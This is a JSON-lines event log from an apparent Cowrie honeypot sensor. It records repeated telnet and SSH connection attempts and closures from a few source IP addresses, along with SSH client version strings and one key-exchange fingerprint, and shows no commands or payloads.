{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60686,"dst_ip":"159.203.135.109","dst_port":23,"session":"def6bffed4f8","protocol":"telnet","message":"New connection: 103.137.231.186:60686 (159.203.135.109:23) [session: def6bffed4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:41.007692Z"}
{"eventid":"cowrie.session.closed","duration":30.36418128013611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:41.128059Z","src_ip":"103.137.231.186","session":"c7215802648b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840308904647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:41.133181Z","src_ip":"103.137.231.186","session":"e3e4ed7e9630","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533110857009888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:41.147756Z","src_ip":"169.38.112.222","session":"68cdcfdc5398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60672,"dst_ip":"159.203.135.109","dst_port":23,"session":"845e40ffd2af","protocol":"telnet","message":"New connection: 103.137.231.186:60672 (159.203.135.109:23) [session: 845e40ffd2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:41.682746Z"}
{"eventid":"cowrie.session.closed","duration":30.945481538772583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:42.128504Z","src_ip":"103.137.231.186","session":"7a5354bf1ac1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35335421562195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:42.133065Z","src_ip":"103.137.231.186","session":"d3e73a6eb2d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679604053497314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:42.149308Z","src_ip":"103.137.231.186","session":"bd8df638e323","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20096445083618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:43.208090Z","src_ip":"103.137.231.186","session":"45e15fb53c44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60692,"dst_ip":"159.203.135.109","dst_port":23,"session":"a65aa2a1be6f","protocol":"telnet","message":"New connection: 103.137.231.186:60692 (159.203.135.109:23) [session: a65aa2a1be6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:43.659138Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46666,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2bba3b73801","protocol":"telnet","message":"New connection: 159.203.13.64:46666 (10.17.0.5:23) [session: d2bba3b73801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:43.669625Z"}
{"eventid":"cowrie.session.closed","duration":34.46485090255737,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:44.305723Z","src_ip":"162.253.42.116","session":"caf603b8bf5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60694,"dst_ip":"159.203.135.109","dst_port":23,"session":"a73d83862789","protocol":"telnet","message":"New connection: 103.137.231.186:60694 (159.203.135.109:23) [session: a73d83862789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:44.352845Z"}
{"eventid":"cowrie.session.closed","duration":30.78549289703369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:44.473661Z","src_ip":"103.137.231.186","session":"af782edb240b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47968578338623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:44.746129Z","src_ip":"103.137.231.186","session":"364e2d762629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.357449293136597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:44.755994Z","src_ip":"103.137.231.186","session":"8b9f7d87de1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847784757614136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:45.508226Z","src_ip":"103.137.231.186","session":"252346868f50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10580325126648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:46.159125Z","src_ip":"103.137.231.186","session":"cfe45ffd1e1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55640482902527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:46.166591Z","src_ip":"169.38.112.222","session":"254b7268f25f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46676,"dst_ip":"10.17.0.5","dst_port":23,"session":"40319c6ad5fc","protocol":"telnet","message":"New connection: 159.203.13.64:46676 (10.17.0.5:23) [session: 40319c6ad5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:46.198999Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60700,"dst_ip":"159.203.135.109","dst_port":23,"session":"706b66be0230","protocol":"telnet","message":"New connection: 103.137.231.186:60700 (159.203.135.109:23) [session: 706b66be0230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:46.464133Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":45654,"dst_ip":"10.17.0.5","dst_port":23,"session":"935333e8a990","protocol":"telnet","message":"New connection: 169.38.112.222:45654 (10.17.0.5:23) [session: 935333e8a990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:46.749929Z"}
{"eventid":"cowrie.session.closed","duration":30.436035871505737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:47.119037Z","src_ip":"169.38.112.222","session":"3f3ae6d8747a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.656845569610596,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:47.163746Z","src_ip":"159.203.13.64","session":"b1279179ed75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79101872444153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:47.316265Z","src_ip":"103.137.231.186","session":"cee444a8ac2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71242880821228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:48.128419Z","src_ip":"103.137.231.186","session":"c472a0db6333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.497769832611084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:49.135087Z","src_ip":"169.38.112.222","session":"1e3a3588c363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49296,"dst_ip":"159.203.135.109","dst_port":23,"session":"8679be36319f","protocol":"telnet","message":"New connection: 103.137.231.186:49296 (159.203.135.109:23) [session: 8679be36319f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:49.170274Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49300,"dst_ip":"159.203.135.109","dst_port":23,"session":"43dad62cb964","protocol":"telnet","message":"New connection: 103.137.231.186:49300 (159.203.135.109:23) [session: 43dad62cb964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:50.241823Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49316,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c4d7e6b66e5","protocol":"telnet","message":"New connection: 103.137.231.186:49316 (159.203.135.109:23) [session: 0c4d7e6b66e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:50.491353Z"}
{"eventid":"cowrie.session.closed","duration":30.974504709243774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:50.687361Z","src_ip":"103.137.231.186","session":"a7dfea3a1dd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49332,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb7100d77b31","protocol":"telnet","message":"New connection: 103.137.231.186:49332 (159.203.135.109:23) [session: eb7100d77b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:51.030623Z"}
{"eventid":"cowrie.session.closed","duration":31.521713972091675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:51.067493Z","src_ip":"169.38.112.222","session":"acc0f03bb404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49282,"dst_ip":"159.203.135.109","dst_port":23,"session":"88e33860d04c","protocol":"telnet","message":"New connection: 103.137.231.186:49282 (159.203.135.109:23) [session: 88e33860d04c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:51.932690Z"}
{"eventid":"cowrie.session.closed","duration":30.78944182395935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:52.148219Z","src_ip":"103.137.231.186","session":"0bd43d26bb91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37829327583313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:52.166760Z","src_ip":"169.38.112.222","session":"7f7c9bfeb5d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49342,"dst_ip":"159.203.135.109","dst_port":23,"session":"012c272d9863","protocol":"telnet","message":"New connection: 103.137.231.186:49342 (159.203.135.109:23) [session: 012c272d9863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:52.669897Z"}
{"eventid":"cowrie.session.closed","duration":30.381004810333252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:53.202986Z","src_ip":"103.137.231.186","session":"874dc82ef8ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":38562,"dst_ip":"10.17.0.5","dst_port":22,"session":"327039ce74b4","protocol":"ssh","message":"New connection: 45.78.194.242:38562 (10.17.0.5:22) [session: 327039ce74b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:53.216294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:53.220675Z","src_ip":"45.78.194.242","session":"327039ce74b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":49354,"dst_ip":"159.203.135.109","dst_port":23,"session":"79e1b8268cd0","protocol":"telnet","message":"New connection: 103.137.231.186:49354 (159.203.135.109:23) [session: 79e1b8268cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:53.311781Z"}
{"eventid":"cowrie.session.closed","duration":31.085716247558594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:53.929812Z","src_ip":"103.137.231.186","session":"118bbd43d93a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15520977973938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:54.215197Z","src_ip":"103.137.231.186","session":"c51c3761039a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":45656,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eba667f29c9","protocol":"telnet","message":"New connection: 169.38.112.222:45656 (10.17.0.5:23) [session: 8eba667f29c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:54.926674Z"}
{"eventid":"cowrie.session.closed","duration":30.947890996932983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:55.155766Z","src_ip":"103.137.231.186","session":"b455ca66522b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22388505935669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:55.189930Z","src_ip":"103.137.231.186","session":"28c23d73511a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.08274507522583,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:55.530574Z","src_ip":"159.203.13.64","session":"a5c64ef3b453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.53878712654114,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:55.856093Z","src_ip":"162.253.42.116","session":"71725e7a8e04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727866649627686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:57.380567Z","src_ip":"103.137.231.186","session":"54b5c32393e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.47311186790466,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:57.915613Z","src_ip":"159.203.13.64","session":"4e0f98353cea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08214020729065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:58.171131Z","src_ip":"103.137.231.186","session":"9cebfdd33070","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.891244173049927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:58.923861Z","src_ip":"103.137.231.186","session":"93f59e7b40ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53682,"dst_ip":"159.203.135.109","dst_port":23,"session":"35a284952de3","protocol":"telnet","message":"New connection: 103.137.231.186:53682 (159.203.135.109:23) [session: 35a284952de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:59.204888Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53692,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b4025ece06","protocol":"telnet","message":"New connection: 103.137.231.186:53692 (159.203.135.109:23) [session: b9b4025ece06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:59.785946Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53684,"dst_ip":"159.203.135.109","dst_port":23,"session":"b716254430a8","protocol":"telnet","message":"New connection: 103.137.231.186:53684 (159.203.135.109:23) [session: b716254430a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:00.413180Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53700,"dst_ip":"159.203.135.109","dst_port":23,"session":"09cc13299f2e","protocol":"telnet","message":"New connection: 103.137.231.186:53700 (159.203.135.109:23) [session: 09cc13299f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:00.485994Z"}
{"eventid":"cowrie.session.closed","duration":30.30990982055664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:01.125993Z","src_ip":"103.137.231.186","session":"1322e4559d32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53738,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b9240bb0665","protocol":"telnet","message":"New connection: 103.137.231.186:53738 (159.203.135.109:23) [session: 7b9240bb0665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:01.849187Z"}
{"eventid":"cowrie.session.closed","duration":31.638246774673462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:02.089746Z","src_ip":"103.137.231.186","session":"a81136d38d67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140506744384766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:02.164215Z","src_ip":"103.137.231.186","session":"ba3c23f194b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53724,"dst_ip":"159.203.135.109","dst_port":23,"session":"efdb62d44563","protocol":"telnet","message":"New connection: 103.137.231.186:53724 (159.203.135.109:23) [session: efdb62d44563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:02.703882Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53740,"dst_ip":"159.203.135.109","dst_port":23,"session":"39a5a31515d2","protocol":"telnet","message":"New connection: 103.137.231.186:53740 (159.203.135.109:23) [session: 39a5a31515d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:03.018974Z"}
{"eventid":"cowrie.session.closed","duration":30.657854080200195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:03.159759Z","src_ip":"103.137.231.186","session":"9df6a0f0e201","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.936928033828735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:03.296115Z","src_ip":"103.137.231.186","session":"e840d9607129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53754,"dst_ip":"159.203.135.109","dst_port":23,"session":"27427c9d0c18","protocol":"telnet","message":"New connection: 103.137.231.186:53754 (159.203.135.109:23) [session: 27427c9d0c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:03.381434Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53756,"dst_ip":"159.203.135.109","dst_port":23,"session":"a32cb3813d67","protocol":"telnet","message":"New connection: 103.137.231.186:53756 (159.203.135.109:23) [session: a32cb3813d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:03.448608Z"}
{"eventid":"cowrie.session.closed","duration":30.54774498939514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:04.364396Z","src_ip":"152.53.125.71","session":"1936708a6f26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34958,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c4142fc980","protocol":"telnet","message":"New connection: 159.203.13.64:34958 (10.17.0.5:23) [session: c0c4142fc980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:05.631430Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":38112,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2260a58d027","protocol":"telnet","message":"New connection: 169.38.112.222:38112 (10.17.0.5:23) [session: f2260a58d027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:05.749988Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53774,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eae7a2505a8","protocol":"telnet","message":"New connection: 103.137.231.186:53774 (159.203.135.109:23) [session: 8eae7a2505a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:05.809157Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53786,"dst_ip":"159.203.135.109","dst_port":23,"session":"521f2d5ecaa6","protocol":"telnet","message":"New connection: 103.137.231.186:53786 (159.203.135.109:23) [session: 521f2d5ecaa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:05.848527Z"}
{"eventid":"cowrie.session.closed","duration":30.811540842056274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:06.213243Z","src_ip":"103.137.231.186","session":"7822a8c8e4e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684542179107666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:06.450624Z","src_ip":"103.137.231.186","session":"ea78f5ffacb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":43056,"dst_ip":"10.17.0.5","dst_port":23,"session":"302d17c43e8e","protocol":"telnet","message":"New connection: 169.38.112.222:43056 (10.17.0.5:23) [session: 302d17c43e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:06.588814Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":49252,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ba36d89e0e2","protocol":"ssh","message":"New connection: 103.215.80.173:49252 (159.203.135.109:22) [session: 6ba36d89e0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:06.837969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:06.842478Z","src_ip":"103.215.80.173","session":"6ba36d89e0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53788,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5c1c2de12aa","protocol":"telnet","message":"New connection: 103.137.231.186:53788 (159.203.135.109:23) [session: f5c1c2de12aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:07.091687Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:07.135688Z","src_ip":"103.215.80.173","session":"6ba36d89e0e2","protocol":"ssh"}
